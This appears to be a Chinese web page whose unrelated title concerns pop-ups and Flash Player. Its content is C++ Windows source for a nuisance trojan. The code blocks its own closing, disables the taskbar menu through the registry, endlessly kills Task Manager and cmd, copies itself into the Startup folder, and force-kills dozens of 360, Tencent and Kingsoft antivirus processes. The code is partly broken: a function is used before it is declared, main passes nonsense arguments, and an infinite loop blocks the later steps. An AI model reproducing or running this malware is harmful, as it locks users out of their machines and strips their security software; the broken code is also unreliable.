admin 管理员组文章数量: 1184232
#include<iostream>
#include<windows.h>
using namespace std;
void can_not_close() {//这段禁用窗口上的关闭和最小化键
HWND hwnd = GetConsoleWindow();
HMENU hmenu = GetSystemMenu(hwnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hwnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hwnd, GWL_STYLE, style);
SetWindowPos(hwnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hwnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hwnd, NULL);
}
int Can_not__main() {
const char* keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
const char* valueName = "NoTrayContextMenu";
DWORD dataType = REG_DWORD;
DWORD data = 1; // 设置为1来禁用任务栏右键菜单
DWORD dataSize = sizeof(data);
if (ModifyRegistry(keyPath, valueName, dataType, reinterpret_cast<const BYTE*>(&data), dataSize)) {
std::cout << "成功禁用任务栏右键菜单!" << std::endl;
}
else {
std::cerr << "禁用任务栏右键菜单失败!" << std::endl;
}
return 0;
}
void muma() {
do {
system("taskkill /f /t /im taskmgr.exe");
system("taskkill /f /t /im cmd.exe");
system("Cls");
Sleep(1000);
} while (1);
}
BOOL CtrlHandler(DWORD fdwCtrlType) {
switch (fdwCtrlType) {
// 处理CTRL+C事件
case CTRL_C_EVENT:
cout << "Ctrl+C pressed, but the program will not exit." << std::endl;
return TRUE;
case CTRL_CLOSE_EVENT:
return TRUE;
case CTRL_BREAK_EVENT:
return FALSE;
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
return FALSE;
case WM_CLOSE:// 阻止窗口关闭
return 0;
default:
return FALSE;
}
}
bool ModifyRegistry(const char* keyPath, const char* valueName, DWORD dataType, const BYTE* data, DWORD dataSize) {
HKEY hKey;
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath, 0, KEY_WRITE, &hKey);
if (result == ERROR_SUCCESS) {
result = RegSetValueExA(hKey, valueName, 0, dataType, data, dataSize);
RegCloseKey(hKey);
return(result == ERROR_SUCCESS);
}
return false;
}
void kaijiqidong() {
system("copy mine.lnk C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mine.lnk");
}
void jinchenzhongzhi() {
system("taskkill /f /t /im WDSafeDown.exe");
system("taskkill /f /t /im 360Tray.exe");
system("taskkill /f /t /im 360LogCenter.exe");
system("taskkill /f /t /im PopWndTracker.exe");
system("taskkill /f /t /im WDPayPro.exe");
system("taskkill /f /t /im 360realpro.exe");
system("taskkill /f /t /im 360UDiskPro.exe");
system("taskkill /f /t /im wdfixsc.exe");
system("taskkill /f /t /im wdsandbox.exe");
system("taskkill /f /t /im WscReg.exe");
system("taskkill /f /t /im 360settingcenter.exe");
system("taskkill /f /t /im PopWndLog.exe");
system("taskkill /f /t /im 360PayInsure.exe");
system("taskkill /f /t /im EPSVHMiniDump64.exe");
system("taskkill /f /t /im 360Win7Shield.exe");
system("taskkill /f /t /im 360SPTool.exe");
system("taskkill /f /t /im wdswfsafe.exe");
system("taskkill /f /t /im 360UDiskGuard.exe");
system("taskkill /f /t /im 360sctblist.exe");
system("taskkill /f /t /im 360sclog.exe");
system("taskkill /f /t /im 360xpfix.exe");
system("taskkill /f /t /im 360Toasts.exe");
/*360 died*/
system("taskkill /f /t /im QQPCTray.exe");
system("taskkill /f /t /im QQPCRTP.exe");
system("taskkill /f /t /im QQPCMgr.exe");
system("taskkill /f /t /im QQProtect.EXE");
system("taskkill /f /t /im QQPMDaemon.exe");
/*腾讯电脑管家 died*/
system("taskkill /f /t /im KAVStart.exe");
system("taskkill /f /t /im KWatch.exe");
system("taskkill /f /t /im KMailMon.exe");
system("taskkill /f /t /im KMService.exe");
system("taskkill /f /t /im kxescore.exe");
system("taskkill /f /t /im kxetray.exe");
/*金山毒霸 died*/
}
void quanping() {//全屏
HWND hwnd = GetForegroundWindow();
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
LONG l_WinStyle = GetWindowLong(hwnd, GWL_STYLE);
SetWindowLong(hwnd, GWL_STYLE, (l_WinStyle | WS_MAXIMIZE | WS_POPUP) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
return;
}
int main() {
can_not_close();
Can_not__main();
muma();
CtrlHandler(MB_ABORTRETRYIGNORE);
ModifyRegistry("*.*","*.*",MB_ABORTRETRYIGNORE,MB_APPLMODAL,MB_CANCELTRYCONTINUE);
kaijiqidong();
jinchenzhongzhi();
quanping();
}版权声明:本文标题:被弹窗缠绕:在C++与Adobe Flash Player间寻找解脱 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1773690150a3564840.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论